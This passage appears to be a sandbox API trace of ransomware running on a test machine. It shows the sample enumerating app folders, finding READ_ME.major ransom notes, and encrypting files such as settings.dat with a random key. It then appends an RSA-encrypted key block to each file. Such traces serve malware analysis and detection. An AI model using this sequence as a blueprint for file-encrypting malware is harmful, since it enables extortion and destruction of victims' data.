cAlternateFileName="")) returned 0x2f2c4f8 [0194.780] FindNextFileW (in: hFindFile=0x2f2c4f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.780] FindNextFileW (in: hFindFile=0x2f2c4f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.780] FindNextFileW (in: hFindFile=0x2f2c4f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85c08 [0194.780] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c578 [0194.780] FindNextFileW (in: hFindFile=0x2f2c578, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.780] FindNextFileW (in: hFindFile=0x2f2c578, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.780] FindNextFileW (in: hFindFile=0x2f2c578, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f892f0 [0194.780] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c738 [0194.780] FindNextFileW (in: hFindFile=0x2f2c738, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.780] FindNextFileW (in: hFindFile=0x2f2c738, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.780] FindNextFileW (in: hFindFile=0x2f2c738, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e441dff, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0194.781] FindNextFileW (in: hFindFile=0x2f2c738, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0194.781] FindNextFileW (in: hFindFile=0x2f2c738, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0194.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658618 [0194.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc878 [0194.781] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.781] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0194.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658938 [0194.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x5b4f18 [0194.781] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb60 [0194.781] GetFileSizeEx (in: hFile=0xb60, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0194.782] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f978e8 [0194.782] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f998f0 [0194.782] ReadFile (in: hFile=0xb60, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.799] SetFilePointer (in: hFile=0xb60, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.799] WriteFile (in: hFile=0xb60, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.799] SetFilePointer (in: hFile=0xb60, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0194.799] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.799] WriteFile (in: hFile=0xb60, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.799] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.799] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.799] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.800] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.800] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="PJWQUv8TY0aCIrt5Iy2y+H+0txapDjZQqZthq1vM4dl8P3cJhhcbXE8Lj6FVFC2a\nHbTWxodyqbrnaDji7vPoOtTjaoJy43C1ZkWToAoH7UywEFGPFPLkzm6edvru8D4e\n7mEQQLWzqwZHfPJ/BaQrPOT5OP5af+pGfPrpEVRXyVYYh3fz9fb94Cl4X9T+0C86\nYK6LHT7IsPuwc3WOxIU4PmnWerWAnqFzXTAZhMT3T/gzk3wTlzv4UUlnZuoLIwxq\niN5+pY0o5gw9JWp1ek2sPb+EJ7d9FefHqNY7w9VtKiUs1aYSToutYb0yv67y85kH\nos1fBxyeyeFA5YSmnjF+kw==\n", pcchString=0x2e3f9a8) returned 1 [0194.800] WriteFile (in: hFile=0xb60, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.800] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.800] WriteFile (in: hFile=0xb60, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.800] CloseHandle (hObject=0xb60) returned 1 [0194.821] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.821] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0194.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658618 [0194.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x5b4f18 [0194.821] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb60 [0194.822] GetFileSizeEx (in: hFile=0xb60, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0194.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d1c0 [0194.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d240 [0194.822] ReadFile (in: hFile=0xb60, lpBuffer=0x59d1c0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.822] SetFilePointer (in: hFile=0xb60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.822] WriteFile (in: hFile=0xb60, lpBuffer=0x59d240*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.822] SetFilePointer (in: hFile=0xb60, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.822] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.822] WriteFile (in: hFile=0xb60, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.823] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.823] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.823] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.823] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZnYi8U1R2KoPjKV9DpK5SxF90Xi7lyjzxCiY0vmFGVhuk2XAahepDVoy9DKoD86P\nBrmoehHx/k1Y6bH47OmT/u+lHQC+TR/8KtKE2buBM8/Y13PEhG+b+bv1Z03BL1kw\nHHOAUJ16aq1Uarz3xIHRuyvy6pXDxgs+hJzypVl73+5Swl+EHA5qtBodtfgXLXiT\nTbtzzp7rIWYWHAd7tjo/+uBIK/yrzebCf55GYvya1y76qzzHZInMfumvzDtDPP9y\nL2IFnZ0kJNX8HmtoZsB9BSuC9Ggz1LXiP78Ul/ImAwtlBKoAI5aG3fAkPprrw/G3\n9blx9PoomiWVfobsH7x7RA==\n", pcchString=0x2e3f9a8) returned 1 [0194.824] WriteFile (in: hFile=0xb60, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.824] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.824] WriteFile (in: hFile=0xb60, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.824] CloseHandle (hObject=0xb60) returned 1 [0194.825] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c778 [0194.825] FindNextFileW (in: hFindFile=0x2f2c778, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.825] FindNextFileW (in: hFindFile=0x2f2c778, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.825] FindNextFileW (in: hFindFile=0x2f2c778, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85c08 [0194.826] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c7b8 [0194.826] FindNextFileW (in: hFindFile=0x2f2c7b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.826] FindNextFileW (in: hFindFile=0x2f2c7b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.826] FindNextFileW (in: hFindFile=0x2f2c7b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.826] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c968 [0194.826] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8b9c8 [0194.826] FindNextFileW (in: hFindFile=0x2f8b9c8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.826] FindNextFileW (in: hFindFile=0x2f8b9c8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.826] FindNextFileW (in: hFindFile=0x2f8b9c8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.826] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c540 [0194.826] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8bfc8 [0194.826] FindNextFileW (in: hFindFile=0x2f8bfc8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c043a5a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.826] FindNextFileW 